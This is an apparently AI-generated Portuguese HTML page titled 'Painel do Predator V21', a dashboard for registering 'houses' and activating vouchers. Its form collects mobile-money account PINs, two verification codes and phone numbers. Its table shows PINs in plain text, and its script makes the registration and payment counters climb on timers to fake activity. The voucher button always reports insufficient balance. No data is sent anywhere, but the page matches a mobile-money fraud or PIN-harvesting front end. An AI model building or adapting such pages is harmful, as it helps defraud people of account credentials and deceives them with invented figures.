|
|
<!DOCTYPE html> |
|
|
<html lang="pt-BR"> |
|
|
<head> |
|
|
<meta charset="UTF-8" /> |
|
|
<meta name="viewport" content="width=device-width, initial-scale=1" /> |
|
|
<title>Painel do Predator V21</title> |
|
|
<style> |
|
|
body { |
|
|
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; |
|
|
background-color: #f0f2f5; |
|
|
margin: 0; padding: 0; |
|
|
color: #222; |
|
|
} |
|
|
header { |
|
|
background-color: #0d1a40; |
|
|
color: #fff; |
|
|
padding: 15px 20px; |
|
|
display: flex; |
|
|
justify-content: space-between; |
|
|
align-items: center; |
|
|
} |
|
|
header h1 { |
|
|
font-size: 1.5rem; |
|
|
margin: 0; |
|
|
} |
|
|
.nome-casa { |
|
|
font-weight: 600; |
|
|
background-color: #142a6b; |
|
|
padding: 6px 14px; |
|
|
border-radius: 6px; |
|
|
font-size: 1.1rem; |
|
|
} |
|
|
main { |
|
|
max-width: 1000px; |
|
|
margin: 25px auto; |
|
|
padding: 0 15px; |
|
|
} |
|
|
.dashboard { |
|
|
display: grid; |
|
|
grid-template-columns: repeat(auto-fit,minmax(180px,1fr)); |
|
|
gap: 20px; |
|
|
margin-bottom: 35px; |
|
|
} |
|
|
.card { |
|
|
background: #fff; |
|
|
border-radius: 8px; |
|
|
padding: 20px; |
|
|
box-shadow: 0 2px 8px rgba(0,0,0,0.1); |
|
|
text-align: center; |
|
|
} |
|
|
.card h2 { |
|
|
font-size: 2rem; |
|
|
color: #0d1a40; |
|
|
margin-bottom: 8px; |
|
|
} |
|
|
.card p { |
|
|
font-weight: 600; |
|
|
color: #555; |
|
|
margin: 0; |
|
|
} |
|
|
form { |
|
|
background: #fff; |
|
|
border-radius: 8px; |
|
|
padding: 25px 20px; |
|
|
box-shadow: 0 2px 10px rgba(0,0,0,0.1); |
|
|
margin-bottom: 40px; |
|
|
} |
|
|
form label { |
|
|
display: block; |
|
|
margin-bottom: 6px; |
|
|
font-weight: 600; |
|
|
color: #0d1a40; |
|
|
} |
|
|
form input[type="text"], form input[type="tel"] { |
|
|
width: 100%; |
|
|
padding: 10px 12px; |
|
|
margin-bottom: 18px; |
|
|
border-radius: 5px; |
|
|
border: 1px solid #ccc; |
|
|
font-size: 1rem; |
|
|
transition: border-color 0.3s ease; |
|
|
} |
|
|
form input[type="text"]:focus, form input[type="tel"]:focus { |
|
|
border-color: #4caf50; |
|
|
outline: none; |
|
|
} |
|
|
form .btn-group { |
|
|
display: flex; |
|
|
gap: 15px; |
|
|
} |
|
|
form button { |
|
|
background-color: #0d1a40; |
|
|
color: white; |
|
|
border: none; |
|
|
padding: 12px 22px; |
|
|
font-weight: 700; |
|
|
font-size: 1rem; |
|
|
border-radius: 6px; |
|
|
cursor: pointer; |
|
|
flex: 1; |
|
|
transition: background-color 0.3s ease; |
|
|
} |
|
|
form button:hover { |
|
|
background-color: #4caf50; |
|
|
} |
|
|
.message { |
|
|
padding: 14px 20px; |
|
|
margin-bottom: 25px; |
|
|
border-radius: 6px; |
|
|
font-weight: 700; |
|
|
} |
|
|
.message.error { |
|
|
background-color: #f8d7da; |
|
|
color: #842029; |
|
|
border: 1px solid #f5c2c7; |
|
|
} |
|
|
.message.success { |
|
|
background-color: #d1e7dd; |
|
|
color: #0f5132; |
|
|
border: 1px solid #badbcc; |
|
|
} |
|
|
table { |
|
|
width: 100%; |
|
|
border-collapse: collapse; |
|
|
box-shadow: 0 2px 10px rgba(0,0,0,0.1); |
|
|
background: #fff; |
|
|
border-radius: 8px; |
|
|
overflow: hidden; |
|
|
} |
|
|
thead { |
|
|
background-color: #0d1a40; |
|
|
color: white; |
|
|
} |
|
|
th, td { |
|
|
padding: 14px 18px; |
|
|
text-align: left; |
|
|
} |
|
|
tbody tr:hover { |
|
|
background-color: #f5f5f5; |
|
|
} |
|
|
.action-btn { |
|
|
background-color: #4caf50; |
|
|
border: none; |
|
|
color: white; |
|
|
padding: 6px 14px; |
|
|
margin-right: 6px; |
|
|
border-radius: 5px; |
|
|
font-weight: 600; |
|
|
cursor: pointer; |
|
|
transition: background-color 0.3s ease; |
|
|
} |
|
|
.action-btn.validate { |
|
|
background-color: #2196f3; |
|
|
} |
|
|
.action-btn:hover { |
|
|
opacity: 0.85; |
|
|
} |
|
|
@media (max-width: 640px) { |
|
|
.dashboard { |
|
|
grid-template-columns: 1fr 1fr; |
|
|
} |
|
|
form .btn-group { |
|
|
flex-direction: column; |
|
|
} |
|
|
} |
|
|
@media (max-width: 400px) { |
|
|
.dashboard { |
|
|
grid-template-columns: 1fr; |
|
|
} |
|
|
} |
|
|
</style> |
|
|
</head> |
|
|
<body> |
|
|
|
|
|
<header> |
|
|
<h1>Painel do Predator V21</h1> |
|
|
<div class="nome-casa" aria-label="Nome da casa">Casa Exemplo</div> |
|
|
</header> |
|
|
|
|
|
<main> |
|
|
|
|
|
<section class="dashboard" aria-label="Visão geral do painel"> |
|
|
<div class="card"> |
|
|
<h2>3.000</h2> |
|
|
<p>Pessoas Cadastradas</p> |
|
|
</div> |
|
|
<div class="card"> |
|
|
<h2 style="color: #4CAF50;">18</h2> |
|
|
<p>Pessoas Ativas</p> |
|
|
</div> |
|
|
<div class="card"> |
|
|
<h2 id="cadastradasHoje">25</h2> |
|
|
<p>Cadastradas Hoje</p> |
|
|
</div> |
|
|
<div class="card"> |
|
|
<h2>120</h2> |
|
|
<p>Vouchers Ativos</p> |
|
|
</div> |
|
|
<div class="card"> |
|
|
<h2>75</h2> |
|
|
<p>Pagamentos Confirmados</p> |
|
|
</div> |
|
|
</section> |
|
|
|
|
|
|
|
|
<div class="message error" role="alert" id="msgSaldoInsuficiente" style="display:none;"> |
|
|
Saldo insuficiente para ativar o voucher. |
|
|
</div> |
|
|
|
|
|
<div class="message success" role="alert" id="msgSucesso" style="display:none;"> |
|
|
Cadastro realizado com sucesso. |
|
|
</div> |
|
|
|
|
|
|
|
|
<form id="formCadastro" aria-label="Formulário de cadastro"> |
|
|
<label for="nomeCasa">Nome da Casa</label> |
|
|
<input type="text" id="nomeCasa" name="nomeCasa" placeholder="Digite o nome da casa" required> |
|
|
|
|
|
<label for="telefone">Número de Telefone</label> |
|
|
<input type="tel" id="telefone" name="telefone" placeholder="+258 84XXXXXXX" required> |
|
|
|
|
|
<label for="pinConta">PIN da Conta Móvel</label> |
|
|
<input type="text" id="pinConta" name="pinConta" placeholder="PIN da conta móvel" required> |
|
|
|
|
|
<label for="codigo1">Inserir Primeiro Código</label> |
|
|
<input type="text" id="codigo1" name="codigo1" placeholder="Código 1" required> |
|
|
|
|
|
<label for="codigo2">Inserir Segundo Código</label> |
|
|
<input type="text" id="codigo2" name="codigo2" placeholder="Código 2" required> |
|
|
|
|
|
<label for="voucher">Inserir Voucher</label> |
|
|
<input type="text" id="voucher" name="voucher" placeholder="Voucher" required> |
|
|
|
|
|
<label for="numero">Inserir Número</label> |
|
|
<input type="text" id="numero" name="numero" placeholder="Número" required> |
|
|
|
|
|
<div class="btn-group"> |
|
|
<button type="submit">Cadastrar</button> |
|
|
<button type="button" id="btnAtivarVoucher">Ativar Voucher</button> |
|
|
</div> |
|
|
</form> |
|
|
|
|
|
|
|
|
<section aria-label="Registros cadastrados"> |
|
|
<table> |
|
|
<thead> |
|
|
<tr> |
|
|
<th>Nome da Casa</th> |
|
|
<th>Telefone</th> |
|
|
<th>PIN</th> |
|
|
<th>Voucher</th> |
|
|
<th>Status</th> |
|
|
<th>Data</th> |
|
|
<th>Ações</th> |
|
|
</tr> |
|
|
</thead> |
|
|
<tbody id="registrosTabela"> |
|
|
<tr> |
|
|
<td>Casa Exemplo</td> |
|
|
<td>+258 84XXXXXXX</td> |
|
|
<td>1234</td> |
|
|
<td>ABC123</td> |
|
|
<td>Ativo</td> |
|
|
<td>10/08/2025</td> |
|
|
<td> |
|
|
<button class="action-btn ativar">Ativar</button> |
|
|
<button class="action-btn validate">Validar Número</button> |
|
|
</td> |
|
|
</tr> |
|
|
<tr> |
|
|
<td>Casa Boa</td> |
|
|
<td>+258 85YYYYYYY</td> |
|
|
<td>5678</td> |
|
|
<td>XYZ789</td> |
|
|
<td>Inativo</td> |
|
|
<td>08/08/2025</td> |
|
|
<td> |
|
|
<button class="action-btn ativar">Ativar</button> |
|
|
<button class="action-btn validate">Validar Número</button> |
|
|
</td> |
|
|
</tr> |
|
|
</tbody> |
|
|
</table> |
|
|
</section> |
|
|
</main> |
|
|
|
|
|
<script> |
|
|
|
|
|
document.addEventListener('DOMContentLoaded', function() { |
|
|
const counters = [ |
|
|
{ element: document.querySelector('.card:nth-child(1) h2'), value: 3000, interval: 5000 }, |
|
|
{ element: document.querySelector('.card:nth-child(2) h2'), value: 18, interval: 10000 }, |
|
|
{ element: document.querySelector('.card:nth-child(4) h2'), value: 120, interval: 7000 }, |
|
|
{ element: document.querySelector('.card:nth-child(5) h2'), value: 75, interval: 9000 } |
|
|
]; |
|
|
|
|
|
counters.forEach(counter => { |
|
|
counter.element.textContent = counter.value.toLocaleString(); |
|
|
|
|
|
setInterval(() => { |
|
|
counter.value++; |
|
|
counter.element.textContent = counter.value.toLocaleString(); |
|
|
}, counter.interval); |
|
|
}); |
|
|
}); |
|
|
|
|
|
const form = document.getElementById('formCadastro'); |
|
|
const msgSaldoInsuficiente = document.getElementById('msgSaldoInsuficiente'); |
|
|
const msgSucesso = document.getElementById('msgSucesso'); |
|
|
const btnAtivarVoucher = document.getElementById('btnAtivarVoucher'); |
|
|
const cadastradasHoje = document.getElementById('cadastradasHoje'); |
|
|
|
|
|
form.addEventListener('submit', function(event) { |
|
|
event.preventDefault(); |
|
|
|
|
|
msgSaldoInsuficiente.style.display = 'none'; |
|
|
msgSucesso.style.display = 'block'; |
|
|
|
|
|
const currentCount = parseInt(cadastradasHoje.textContent); |
|
|
cadastradasHoje.textContent = (currentCount + 1).toString(); |
|
|
|
|
|
|
|
|
cadastradasHoje.style.transform = 'scale(1.2)'; |
|
|
cadastradasHoje.style.transition = 'transform 0.3s ease'; |
|
|
setTimeout(() => { |
|
|
cadastradasHoje.style.transform = 'scale(1)'; |
|
|
}, 300); |
|
|
}); |
|
|
|
|
|
btnAtivarVoucher.addEventListener('click', function() { |
|
|
|
|
|
msgSaldoInsuficiente.style.display = 'block'; |
|
|
msgSucesso.style.display = 'none'; |
|
|
}); |
|
|
</script> |
|
|
|
|
|
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=Domingosj/julio" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body> |
|
|
</html> |
|
|
|
